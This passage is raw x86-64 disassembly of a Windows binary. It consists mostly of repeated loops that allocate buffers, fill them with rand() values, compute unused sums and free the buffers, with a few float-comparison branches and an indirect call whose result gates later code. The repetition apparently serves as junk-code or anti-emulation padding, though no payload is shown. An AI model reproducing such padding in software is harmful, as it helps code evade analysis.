cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b858]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xef8]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xef8], xmm0
mov eax, dword [rsp + 0xed4]
add eax, 1
mov dword [rsp + 0xed4], eax
jmp 0x140047d3a
mov rax, qword [rsp + 0xed8]
mov qword [rsp + 0x350], rax
cmp rax, 0
je 0x140047ddb
mov rcx, qword [rsp + 0x350]
call fcn.140071ce0
jmp 0x140047de0
mov eax, dword [rsp + 0xee0]
add eax, 1
mov dword [rsp + 0xee0], eax
jmp 0x140047d0c
movss xmm0, dword [0x14009b494]
movss dword [rsp + 0xef8], xmm0
movss xmm0, dword [0x14009b490]
movss dword [rsp + 0xef8], xmm0
mov rax, qword [rsp + 0xf90]
lea rcx, [0x140073990]
call rax
mov byte [rsp + 0x34f], al
jmp 0x140047e35
mov al, byte [rsp + 0x34f]
and al, 1
mov byte [rsp + 0xf8f], al
jmp 0x140047e78
mov dword [rsp + 0xec0], 0x6555
mov dword [rsp + 0xebc], 0
cmp dword [rsp + 0xebc], 0x659
jge 0x140047f60
mov ecx, 0x248b4
call fcn.140071d00
mov qword [rsp + 0xeb0], rax
mov dword [rsp + 0xeac], 0
cmp dword [rsp + 0xeac], 0x18e
jge 0x140047f1e
call sub.msvcrt.dll_rand
mov ecx, 0x33b7
cdq
idiv ecx
mov rax, qword [rsp + 0xeb0]
movsxd rcx, dword [rsp + 0xeac]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x138b
cdq
idiv ecx
add edx, dword [rsp + 0xec0]
mov dword [rsp + 0xec0], edx
mov eax, dword [rsp + 0xeac]
add eax, 1
mov dword [rsp + 0xeac], eax
jmp 0x140047ebc
mov rax, qword [rsp + 0xeb0]
mov qword [rsp + 0x340], rax
cmp rax, 0
je 0x140047f45
mov rcx, qword [rsp + 0x340]
call fcn.140071ce0
jmp 0x140047f4a
mov eax, dword [rsp + 0xebc]
add eax, 1
mov dword [rsp + 0xebc], eax
jmp 0x140047e8e
mov dword [rsp + 0xea8], 0x6cec
mov dword [rsp + 0xea4], 0
cmp dword [rsp + 0xea4], 0x4f7
jge 0x140048048
mov ecx, 0x16694
call fcn.140071d00
mov qword [rsp + 0xe98], rax
mov dword [rsp + 0xe94], 0
cmp dword [rsp + 0xe94], 0x9e
jge 0x140048006
call sub.msvcrt.dll_rand
mov ecx, 0x2dc6
cdq
idiv ecx
mov rax, qword [rsp + 0xe98]
movsxd rcx, dword [rsp + 0xe94]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1671
cdq
idiv ecx
add edx, dword [rsp + 0xea8]
mov dword [rsp + 0xea8], edx
mov eax, dword [rsp + 0xe94]
add eax, 1
mov dword [rsp + 0xe94], eax
jmp 0x140047fa4
mov rax, qword [rsp + 0xe98]
mov qword [rsp + 0x338], rax
cmp rax, 0
je 0x14004802d
mov rcx, qword [rsp + 0x338]
call fcn.140071ce0
jmp 0x140048032
mov eax, dword [rsp + 0xea4]
add eax, 1
mov dword [rsp + 0xea4], eax
jmp 0x140047f76
mov dword [rsp + 0xe90], 0x384f
mov dword [rsp + 0xe8c], 0
cmp dword [rsp + 0xe8c], 0x7b0
jge 0x140048130
mov ecx, 0x1d2b8
call fcn.140071d00
mov qword [rsp + 0xe80], rax
mov dword [rsp + 0xe7c], 0
cmp dword [rsp + 0xe7c], 0x12f
jge 0x1400480ee
call sub.msvcrt.dll_rand
mov ecx, 0x3860
cdq
idiv ecx
mov rax, qword [rsp + 0xe80]
movsxd rcx, dword [rsp + 0xe7c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x13ad
cdq
idiv ecx
add edx, dword [rsp + 0xe90]
mov dword [rsp + 0xe90], edx
mov eax, dword [rsp + 0xe7c]
add eax, 1
mov dword [rsp + 0xe7c], eax
jmp 0x14004808c
mov rax, qword [rsp + 0xe80]
mov qword [rsp + 0x330], rax
cmp rax, 0
je 0x140048115
mov rcx, qword [rsp + 0x330]
call fcn.140071ce0
jmp 0x14004811a
mov eax, dword [rsp + 0xe8c]
add eax, 1
mov dword [rsp + 0xe8c], eax
jmp 0x14004805e
mov dword [rsp + 0xe78], 0x5eac
mov dword [rsp + 0xe74], 0
cmp dword [rsp + 0xe74], 0x4a3
jge 0x140048218
mov ecx, 0x114c0
call fcn.140071d00
mov qword [rsp + 0xe68], rax
mov dword [rsp + 0xe64], 0
cmp dword [rsp + 0xe64], 0x182
jge 0x1400481d6
call sub.msvcrt.dll_rand
mov ecx, 0x2368
cdq
idiv ecx
mov rax, qword [rsp + 0xe68]
movsxd rcx, dword [rsp + 0xe64]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2a1e
cdq
idiv ecx
add edx, dword [rsp + 0xe78]
mov dword [rsp + 0xe78], edx
mov eax, dword [rsp + 0xe64]
add eax, 1
mov dword [rsp + 0xe64], eax
jmp 0x140048174
mov rax, qword [rsp + 0xe68]
mov qword [rsp + 0x328], rax
cmp rax, 0
je 0x1400481fd
mov rcx, qword [rsp + 0x328]
call fcn.140071ce0
jmp 0x140048202
mov eax, dword [rsp + 0xe74]
add eax, 1
mov dword [rsp + 0xe74], eax
jmp 0x140048146
mov dword [rsp + 0xe60], 0x2428
mov dword [rsp + 0xe5c], 0
cmp dword [rsp + 0xe5c], 0x752
jge 0x140048300
mov ecx, 0xc7e8
call fcn.140071d00
mov qword [rsp + 0xe50], rax
mov dword [rsp + 0xe4c], 0
cmp dword [rsp + 0xe4c], 0x103
jge 0x1400482be
call sub.msvcrt.dll_rand
mov ecx, 0x35a6
cdq
idiv ecx
mov rax, qword [rsp + 0xe50]
movsxd rcx, dword [rsp + 0xe4c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3952
cdq
idiv ecx
add edx, dword [rsp + 0xe60]
mov dword [rsp + 0xe60], edx
mov eax, dword [rsp + 0xe4c]
add eax, 1
mov dword [rsp + 0xe4c], eax
jmp 0x14004825c
mov rax, qword [rsp + 0xe50]
mov qword [rsp + 0x320], rax
cmp rax, 0
je 0x1400482e5
mov rcx, qword [rsp + 0x320]
call fcn.140071ce0
jmp 0x1400482ea
mov eax, dword [rsp + 0xe5c]
add eax, 1
mov dword [rsp + 0xe5c], eax
jmp 0x14004822e
mov dword [rsp + 0xe48], 0x2a11
mov dword [rsp + 0xe44], 0
cmp dword [rsp + 0xe44], 0x6bb
jge 0x1400483e8
mov ecx, 0x1d678
call fcn.140071d00
mov qword [rsp + 0xe38], rax
mov dword [rsp + 0xe34], 0
cmp dword [rsp + 0xe34], 0x18f
jge 0x1400483a6
call sub.msvcrt.dll_rand
mov ecx, 0x2b41
cdq
idiv ecx
mov rax, qword [rsp + 0xe38]
movsxd rcx, dword [rsp + 0xe34]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x288b
cdq
idiv ecx
add edx, dword [rsp + 0xe48]
mov dword [rsp + 0xe48], edx
mov eax, dword [rsp + 0xe34]
add eax, 1
mov dword [rsp + 0xe34], eax
jmp 0x140048344
mov rax, qword [rsp + 0xe38]
mov qword [rsp + 0x318], rax
cmp rax, 0
je 0x1400483cd
mov rcx, qword [rsp + 0x318]
call fcn.140071ce0
jmp 0x1400483d2
mov eax, dword [rsp + 0xe44]
add eax, 1
mov dword [rsp + 0xe44], eax
jmp 0x140048316
mov dword [rsp + 0xe30], 0x4fb3
mov dword [rsp + 0xe2c], 0
cmp dword [rsp + 0xe2c], 0x74d
jge 0x1400484d0
mov ecx, 0xa6c4
call fcn.140071d00
mov qword [rsp + 0xe20], rax
mov dword [rsp + 0xe1c], 0
cmp dword [rsp + 0xe1c], 0x132
jge 0x14004848e
call sub.msvcrt.dll_rand
mov ecx, 0x1419
cdq
idiv ecx
mov rax, qword [rsp + 0xe20]
movsxd rcx, dword [rsp + 0xe1c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2938
cdq
idiv ecx
add edx, dword [rsp + 0xe30]
mov dword [rsp + 0xe30], edx
mov eax, dword [rsp + 0xe1c]
add eax, 1
mov dword [rsp + 0xe1c], eax
jmp 0x14004842c
mov rax, qword [rsp + 0xe20]
mov qword [rsp + 0x310], rax
cmp rax, 0
je 0x1400484b5
mov rcx, qword [rsp + 0x310]
call fcn.140071ce0
jmp 0x1400484ba
mov eax, dword [rsp + 0xe2c]
add eax, 1
mov dword [rsp + 0xe2c], eax
jmp 0x1400483fe
mov dword [rsp + 0xe18], 0x69b5
mov dword [rsp + 0xe14], 0
cmp dword [rsp + 0xe14], 0x548
jge 0x1400485b8
mov ecx, 0x111e0
call fcn.140071d00
mov qword [rsp + 0xe08], rax
mov dword [rsp + 0xe04], 0
cmp dword [rsp + 0xe04], 0x113
jge 0x140048576
call sub.msvcrt.dll_rand
mov ecx, 0x24e0
cdq
idiv ecx
mov rax, qword [rsp + 0xe08]
movsxd rcx, dword [rsp + 0xe04]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x28ea
cdq
idiv ecx
add edx, dword [rsp + 0xe18]
mov dword [rsp + 0xe18], edx
mov eax, dword [rsp + 0xe04]
add eax, 1
mov dword [rsp + 0xe04], eax
jmp 0x140048514
mov rax, qword [rsp + 0xe08]
mov qword [rsp + 0x308], rax
cmp rax, 0
je 0x14004859d
mov rcx, qword [rsp + 0x308]
call fcn.140071ce0
jmp 0x1400485a2
mov eax, dword [rsp + 0xe14]
add eax, 1
mov dword [rsp + 0xe14], eax
jmp 0x1400484e6
mov dword [rsp + 0xe00], 0x536f
mov dword [rsp + 0xdfc], 0
cmp dword [rsp + 0xdfc], 0x788
jge 0x1400486a0
mov ecx, 0x1aa68
call fcn.140071d00
mov qword [rsp + 0xdf0], rax
mov dword [rsp + 0xdec], 0
cmp dword [rsp + 0xdec], 0xe3
jge 0x14004865e
call sub.msvcrt.dll_rand
mov ecx, 0x2904
cdq
idiv ecx
mov rax, qword [rsp + 0xdf0]
movsxd rcx, dword [rsp + 0xdec]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x37d5
cdq
idiv ecx
add edx, dword [rsp + 0xe00]
mov dword [rsp + 0xe00], edx
mov eax, dword [rsp + 0xdec]
add eax, 1
mov dword [rsp + 0xdec], eax
jmp 0x1400485fc
mov rax, qword [rsp + 0xdf0]
mov qword [rsp + 0x300], rax
cmp rax, 0
je 0x140048685
mov rcx, qword [rsp + 0x300]
call fcn.140071ce0
jmp 0x14004868a
mov eax, dword [rsp + 0xdfc]
add eax, 1
mov dword [rsp + 0xdfc], eax
jmp 0x1400485ce
movss xmm0, dword [0x14009b4a4]
movss dword [rsp + 0xde8], xmm0
movss xmm0, dword [0x14009b4a0]
movss dword [rsp + 0xde8], xmm0
movss xmm0, dword [rsp + 0xde8]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b498]
ucomisd xmm0, xmm1
jne 0x1400487fe
jp 0x1400487fe
mov dword [rsp + 0xde4], 0
cmp dword [rsp + 0xde4], 0x1698
jge 0x1400487dc
mov ecx, 0x14b84
call fcn.140071d00
mov qword [rsp + 0xdd8], rax
mov dword [rsp + 0xdd4], 0
cmp dword [rsp + 0xdd4], 0x299
jge 0x14004879a
call sub.msvcrt.dll_rand
mov ecx, 0x3304
cdq
idiv ecx
mov rax, qword [rsp + 0xdd8]
movsxd rcx, dword [rsp + 0xdd4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b850]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xde8]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xde8], xmm0
mov eax, dword [rsp + 0xdd4]
add eax, 1
mov dword [rsp + 0xdd4], eax
jmp 0x140048720
mov rax, qword [rsp + 0xdd8]
mov qword [rsp + 0x2f8], rax
cmp rax, 0
je 0x1400487c1
mov rcx, qword [rsp + 0x2f8]
call fcn.140071ce0
jmp 0x1400487c6
mov eax, dword [rsp + 0xde4]
add eax, 1
mov dword [rsp + 0xde4], eax
jmp 0x1400486f2
movss xmm0, dword [0x14009b4ac]
movss dword [rsp + 0xde8], xmm0
movss xmm0, dword [0x14009b4a8]
movss dword [rsp + 0xde8], xmm0
mov dword [rsp + 0xdd0], 0x6692
mov dword [rsp + 0xdcc], 0
cmp dword [rsp + 0xdcc], 0x63e
jge 0x1400488e6
mov ecx, 0x1c228
call fcn.140071d00
mov qword [rsp + 0xdc0], rax
mov dword [rsp + 0xdbc], 0
cmp dword [rsp + 0xdbc], 0xe6
jge 0x1400488a4
call sub.msvcrt.dll_rand
mov ecx, 0x35df
cdq
idiv ecx
mov rax, qword [rsp + 0xdc0]
movsxd rcx, dword [rsp + 0xdbc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2f26
cdq
idiv ecx
add edx, dword [rsp + 0xdd0]
mov dword [rsp + 0xdd0], edx
mov eax, dword [rsp + 0xdbc]
add eax, 1
mov dword [rsp + 0xdbc], eax
jmp 0x140048842
mov rax, qword [rsp + 0xdc0]
mov qword [rsp + 0x2f0], rax
cmp rax, 0
je 0x1400488cb
mov rcx, qword [rsp + 0x2f0]
call fcn.140071ce0
jmp 0x1400488d0
mov eax, dword [rsp + 0xdcc]
add eax, 1
mov dword [rsp + 0xdcc], eax
jmp 0x140048814
mov dword [rsp + 0xdb8], 0x6b14
mov dword [rsp + 0xdb4], 0
cmp dword [rsp + 0xdb4], 0x711
jge 0x1400489ce
mov ecx, 0x25bc0
call fcn.140071d00
mov qword [rsp + 0xda8], rax
mov dword [rsp + 0xda4], 0
cmp dword [rsp + 0xda4], 0xb1
jge 0x14004898c
call sub.msvcrt.dll_rand
mov ecx, 0x343f
cdq
idiv ecx
mov rax, qword [rsp + 0xda8]
movsxd rcx, dword [rsp + 0xda4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1f8a
cdq
idiv ecx
add edx, dword [rsp + 0xdb8]
mov dword [rsp + 0xdb8], edx
mov eax, dword [rsp + 0xda4]
add eax, 1
mov dword [rsp + 0xda4], eax
jmp 0x14004892a
mov rax, qword [rsp + 0xda8]
mov qword [rsp + 0x2e8], rax
cmp rax, 0
je 0x1400489b3
mov rcx, qword [rsp + 0x2e8]
call fcn.140071ce0
jmp 0x1400489b8
mov eax, dword [rsp + 0xdb4]
add eax, 1
mov dword [rsp + 0xdb4], eax
jmp 0x1400488fc
mov dword [rsp + 0xda0], 0x2a34
mov dword [rsp + 0xd9c], 0
cmp dword [rsp + 0xd9c], 0x6ca
jge 0x140048ab6
mov ecx, 0xfe14
call fcn.140071d00
mov qword [rsp + 0xd90], rax
mov dword [rsp + 0xd8c], 0
cmp dword [rsp + 0xd8c], 0x8e
jge 0x140048a74
call sub.msvcrt.dll_rand
mov ecx, 0x1a73
cdq
idiv ecx
mov rax, qword [rsp + 0xd90]
movsxd rcx, dword [rsp + 0xd8c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3904
cdq
idiv ecx
add edx, dword [rsp + 0xda0]
mov dword [rsp + 0xda0], edx
mov eax, dword [rsp + 0xd8c]
add eax, 1
mov dword [rsp + 0xd8c], eax
jmp 0x140048a12
mov rax, qword [rsp + 0xd90]
mov qword [rsp + 0x2e0], rax
cmp rax, 0
je 0x140048a9b
mov rcx, qword [rsp + 0x2e0]
call fcn.140071ce0
jmp 0x140048aa0
mov eax, dword [rsp + 0xd9c]
add eax, 1
mov dword [rsp + 0xd9c], eax
jmp 0x1400489e4
mov dword [rsp + 0xd88], 0x4e47
mov dword [rsp + 0xd84], 0
cmp dword [rsp + 0xd84], 0x6c3
jge 0x140048b9e
mov ecx, 0x13c80
call fcn.140071d00
mov qword [rsp + 0xd78], rax
mov dword [rsp + 0xd74], 0
cmp dword [rsp + 0xd74], 0x80
jge 0x140048b5c
call sub.msvcrt.dll_rand
mov ecx, 0x1e8d
cdq
idiv ecx
mov rax, qword [rsp + 0xd78]
movsxd rcx, dword [rsp + 0xd74]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1df3
cdq
idiv ecx
add edx, dword [rsp + 0xd88]
mov dword [rsp + 0xd88], edx
mov eax, dword [rsp + 0xd74]
add eax, 1
mov dword [rsp + 0xd74], eax
jmp 0x140048afa
mov rax, qword [rsp + 0xd78]
mov qword [rsp + 0x2d8], rax
cmp rax, 0
je 0x140048b83
mov rcx, qword [rsp + 0x2d8]
call fcn.140071ce0
jmp 0x140048b88
mov eax, dword [rsp + 0xd84]
add eax, 1
mov dword [rsp + 0xd84], eax
jmp 0x140048acc
mov dword [rsp + 0xd70], 0x34c9
mov dword [rsp + 0xd6c], 0
cmp dword [rsp + 0xd6c], 0x61e
jge 0x140048c83
mov ecx, 0xc3d0
call fcn.140071d00
mov qword [rsp + 0xd60], rax
mov dword [rsp + 0xd5c], 0
cmp dword [rsp + 0xd5c], 0x65
jge 0x140048c41
call sub.msvcrt.dll_rand
mov ecx, 0x2b0d
cdq
idiv ecx
mov rax, qword [rsp + 0xd60]
movsxd rcx, dword [rsp + 0xd5c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x35b4
cdq
idiv ecx
add edx, dword [rsp + 0xd70]
mov dword [rsp + 0xd70], edx
mov eax, dword [rsp + 0xd5c]
add eax, 1
mov dword [rsp + 0xd5c], eax
jmp 0x140048be2
mov rax, qword [rsp + 0xd60]
mov qword [rsp + 0x2d0], rax
cmp rax, 0
je 0x140048c68
mov rcx, qword [rsp + 0x2d0]
call fcn.140071ce0
jmp 0x140048c6d
mov eax, dword [rsp + 0xd6c]
add eax, 1
mov dword [rsp + 0xd6c], eax
jmp 0x140048bb4
mov dword [rsp + 0xd58], 0x57bf
mov dword [rsp + 0xd54], 0
cmp dword [rsp + 0xd54], 0x5cf
jge 0x140048d6b
mov ecx, 0x12fd8
call fcn.140071d00
mov qword [rsp + 0xd48], rax
mov dword [rsp + 0xd44], 0
cmp dword [rsp + 0xd44], 0x14b
jge 0x140048d29
call sub.msvcrt.dll_rand
mov ecx, 0x31a6
cdq
idiv ecx
mov rax, qword [rsp + 0xd48]
movsxd rcx, dword [rsp + 0xd44]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x22bd
cdq
idiv ecx
add edx, dword [rsp + 0xd58]
mov dword [rsp + 0xd58], edx
mov eax, dword [rsp + 0xd44]
add eax, 1
mov dword [rsp + 0xd44], eax
jmp 0x140048cc7
mov rax, qword [rsp + 0xd48]
mov qword [rsp + 0x2c8], rax
cmp rax, 0
je 0x140048d50
mov rcx, qword [rsp + 0x2c8]
call fcn.140071ce0
jmp 0x140048d55
mov eax, dword [rsp + 0xd54]
add eax, 1
mov dword [rsp + 0xd54], eax
jmp 0x140048c99
mov dword [rsp + 0xd40], 0x5411
mov dword [rsp + 0xd3c], 0
cmp dword [rsp + 0xd3c], 0x55e
jge 0x140048e53
mov ecx, 0x20038
call fcn.140071d00
mov qword [rsp + 0xd30], rax
mov dword [rsp + 0xd2c], 0
cmp dword [rsp + 0xd2c], 0x1ae
jge 0x140048e11
call sub.msvcrt.dll_rand
mov ecx, 0x23f3
cdq
idiv ecx
mov rax, qword [rsp + 0xd30]
movsxd rcx, dword [rsp + 0xd2c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3529
cdq
idiv ecx
add edx, dword [rsp + 0xd40]
mov dword [rsp + 0xd40], edx
mov eax, dword [rsp + 0xd2c]
add eax, 1
mov dword [rsp + 0xd2c], eax
jmp 0x140048daf
mov rax, qword [rsp + 0xd30]
mov qword [rsp + 0x2c0], rax
cmp rax, 0
je 0x140048e38
mov rcx, qword [rsp + 0x2c0]
call fcn.140071ce0
jmp 0x140048e3d
mov eax, dword [rsp + 0xd3c]
add eax, 1
mov dword [rsp + 0xd3c], eax
jmp 0x140048d81
test byte [rsp + 0xf8f], 1
jne 0x1400496c1
mov dword [rsp + 0xd28], 0x18a7
mov dword [rsp + 0xd24], 0
cmp dword [rsp + 0xd24], 0x624
jge 0x140048f49
mov ecx, 0x25054
call fcn.140071d00
mov qword [rsp + 0xd18], rax
mov dword [rsp + 0xd14], 0
cmp dword [rsp + 0xd14], 0xbc
jge 0x140048f07
call sub.msvcrt.dll_rand
mov ecx, 0x302d
cdq
idiv ecx
mov rax, qword [rsp + 0xd18]
movsxd rcx, dword [rsp + 0xd14]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2d7e
cdq
idiv ecx
add edx, dword [rsp + 0xd28]
mov dword [rsp + 0xd28], edx
mov eax, dword [rsp + 0xd14]
add eax, 1
mov dword [rsp + 0xd14], eax
jmp 0x140048ea5
mov rax, qword [rsp + 0xd18]
mov qword [rsp + 0x2b8], rax
cmp rax, 0
je 0x140048f2e
mov rcx, qword [rsp + 0x2b8]
call fcn.140071ce0
jmp 0x140048f33
mov eax, dword [rsp + 0xd24]
add eax, 1
mov dword [rsp + 0xd24], eax
jmp 0x140048e77
mov dword [rsp + 0xd10], 0x67c5
mov dword [rsp + 0xd0c], 0
cmp dword [rsp + 0xd0c], 0x462
jge 0x140049031
mov ecx, 0x101f8
call fcn.140071d00
mov qword [rsp + 0xd00], rax
mov dword [rsp + 0xcfc], 0
cmp dword [rsp + 0xcfc], 0x169
jge 0x140048fef
call sub.msvcrt.dll_rand
mov ecx, 0x1c3f
cdq
idiv ecx
mov rax, qword [rsp + 0xd00]
movsxd rcx, dword [rsp + 0xcfc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2746
cdq
idiv ecx
add edx, dword [rsp + 0xd10]
mov dword [rsp + 0xd10], edx
mov eax, dword [rsp + 0xcfc]
add eax, 1
mov dword [rsp + 0xcfc], eax
jmp 0x140048f8d
mov rax, qword [rsp + 0xd00]
mov qword [rsp + 0x2b0], rax
cmp rax, 0
je 0x140049016
mov rcx, qword [rsp + 0x2b0]
call fcn.140071ce0
jmp 0x14004901b
mov eax, dword [rsp + 0xd0c]
add eax, 1
mov dword [rsp + 0xd0c], eax
jmp 0x140048f5f
mov dword [rsp + 0xcf8], 0x2329
mov dword [rsp + 0xcf4], 0
cmp dword [rsp + 0xcf4], 0x469
jge 0x140049119
mov ecx, 0x26d44
call fcn.140071d00
mov qword [rsp + 0xce8], rax
mov dword [rsp + 0xce4], 0
cmp dword [rsp + 0xce4], 0x183
jge 0x1400490d7
call sub.msvcrt.dll_rand
mov ecx, 0x2f2b
cdq
idiv ecx
mov rax, qword [rsp + 0xce8]
movsxd rcx, dword [rsp + 0xce4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2367
cdq
idiv ecx
add edx, dword [rsp + 0xcf8]
mov dword [rsp + 0xcf8], edx
mov eax, dword [rsp + 0xce4]
add eax, 1
mov dword [rsp + 0xce4], eax
jmp 0x140049075
mov rax, qword [rsp + 0xce8]
mov qword [rsp + 0x2a8], rax
cmp rax, 0
je 0x1400490fe
mov rcx, qword [rsp + 0x2a8]
call fcn.140071ce0
jmp 0x140049103
mov eax, dword [rsp + 0xcf4]
add eax, 1
mov dword [rsp + 0xcf4], eax
jmp 0x140049047
mov dword [rsp + 0xce0], 0x526c
mov dword [rsp + 0xcdc], 0
cmp dword [rsp + 0xcdc], 0x6e8
jge 0x140049201
mov ecx, 0x25b74
call fcn.140071d00
mov qword [rsp + 0xcd0], rax
mov dword [rsp + 0xccc], 0
cmp dword [rsp + 0xccc], 0x16c
jge 0x1400491bf
call sub.msvcrt.dll_rand
mov ecx, 0x2f28
cdq
idiv ecx
mov rax, qword [rsp + 0xcd0]
movsxd rcx, dword [rsp + 0xccc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x31ab
cdq
idiv ecx
add edx, dword [rsp + 0xce0]
mov dword [rsp + 0xce0], edx
mov eax, dword [rsp + 0xccc]
add eax, 1
mov dword [rsp + 0xccc], eax
jmp 0x14004915d
mov rax, qword [rsp + 0xcd0]
mov qword [rsp + 0x2a0], rax
cmp rax, 0
je 0x1400491e6
mov rcx, qword [rsp + 0x2a0]
call fcn.140071ce0
jmp 0x1400491eb
mov eax, dword [rsp + 0xcdc]
add eax, 1
mov dword [rsp + 0xcdc], eax
jmp 0x14004912f
mov dword [rsp + 0xcc8], 0x1f0c
mov dword [rsp + 0xcc4], 0
cmp dword [rsp + 0xcc4], 0x440
jge 0x1400492e9
mov ecx, 0x1e8f4
call fcn.140071d00
mov qword [rsp + 0xcb8], rax
mov dword [rsp + 0xcb4], 0
cmp dword [rsp + 0xcb4], 0xa1
jge 0x1400492a7
call sub.msvcrt.dll_rand
mov ecx, 0x2d5f
cdq
idiv ecx
mov rax, qword [rsp + 0xcb8]
movsxd rcx, dword [rsp + 0xcb4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x169b
cdq
idiv ecx
add edx, dword [rsp + 0xcc8]
mov dword [rsp + 0xcc8], edx
mov eax, dword [rsp + 0xcb4]
add eax, 1
mov dword [rsp + 0xcb4], eax
jmp 0x140049245
mov rax, qword [rsp + 0xcb8]
mov qword [rsp + 0x298], rax
cmp rax, 0
je 0x1400492ce
mov rcx, qword [rsp + 0x298]
call fcn.140071ce0
jmp 0x1400492d3
mov eax, dword [rsp + 0xcc4]
add eax, 1
mov dword [rsp + 0xcc4], eax
jmp 0x140049217
movss xmm0, dword [0x14009b4bc]
movss dword [rsp + 0xcb0], xmm0
movss xmm0, dword [0x14009b4b8]
movss dword [rsp + 0xcb0], xmm0
movss xmm0, dword [rsp + 0xcb0]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b4b0]
ucomisd xmm0, xmm1
jne 0x140049444
jp 0x140049444
mov dword [rsp + 0xcac], 0
cmp dword [rsp + 0xcac], 0xd46
jge 0x140049422
mov ecx, 0xfff0
call fcn.140071d00
mov qword [rsp + 0xca0], rax
mov dword [rsp + 0xc9c], 0
cmp dword [rsp + 0xc9c], 0x6f
jge 0x1400493e0
call sub.msvcrt.dll_rand
mov ecx, 0x24f5
cdq
idiv ecx
mov rax, qword [rsp + 0xca0]
movsxd rcx, dword [rsp + 0xc9c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b4f8]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcb0]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcb0], xmm0
mov eax, dword [rsp + 0xc9c]
add eax, 1
mov dword [rsp + 0xc9c], eax
jmp 0x140049369
mov rax, qword [rsp + 0xca0]
mov qword [rsp + 0x290], rax
cmp rax, 0
je 0x140049407
mov rcx, qword [rsp + 0x290]
call fcn.140071ce0
jmp 0x14004940c
mov eax, dword [rsp + 0xcac]
add eax, 1
mov dword [rsp + 0xcac], eax
jmp 0x14004933b
movss xmm0, dword [0x14009b4c4]
movss dword [rsp + 0xcb0], xmm0
movss xmm0, dword [0x14009b4c0]
movss dword [rsp + 0xcb0], xmm0
movss xmm0, dword [rsp + 0xcb0]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b4c8]
ucomisd xmm0, xmm1
jne 0x140049580
jp 0x140049580
mov dword [rsp + 0xc98], 0
cmp dword [rsp + 0xc98], 0xa78
jge 0x14004955e
mov ecx, 0x10384
call fcn.140071d00
mov qword [rsp + 0xc90], rax
mov dword [rsp + 0xc8c], 0
cmp dword [rsp + 0xc8c], 0x110
jge 0x14004951c
call sub.msvcrt.dll_rand
mov ecx, 0x33f5
cdq
idiv ecx
mov rax, qword [rsp + 0xc90]
movsxd rcx, dword [rsp + 0xc8c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b4f0]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcb0]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcb0], xmm0
mov eax, dword [rsp + 0xc8c]
add eax, 1
mov dword [rsp + 0xc8c], eax
jmp 0x1400494a2
mov rax, qword [rsp + 0xc90]
mov qword [rsp + 0x288], rax
cmp rax, 0
je 0x140049543
mov rcx, qword [rsp + 0x288]
call fcn.140071ce0
jmp 0x140049548
mov eax, dword [rsp + 0xc98]
add eax, 1
mov dword [rsp + 0xc98], eax
jmp 0x140049474
movss xmm0, dword [0x14009b4d4]
movss dword [rsp + 0xcb0], xmm0
movss xmm0, dword [0x14009b4d0]
movss dword [rsp + 0xcb0], xmm0
movss xmm0, dword [rsp + 0xcb0]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b4d8]
ucomisd xmm0, xmm1
jne 0x1400496bc
jp 0x1400496bc
mov dword [rsp + 0xc88], 0
cmp dword [rsp + 0xc88], 0xaf8
jge 0x14004969a
mov ecx, 0xf43c
call fcn.140071d00
mov qword [rsp + 0xc80], rax
mov dword [rsp + 0xc7c], 0
cmp dword [rsp + 0xc7c], 0x338
jge 0x140049658
call sub.msvcrt.dll_rand
mov ecx, 0x27cc
cdq
idiv ecx
mov rax, qword [rsp + 0xc80]
movsxd rcx, dword [rsp + 0xc7c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
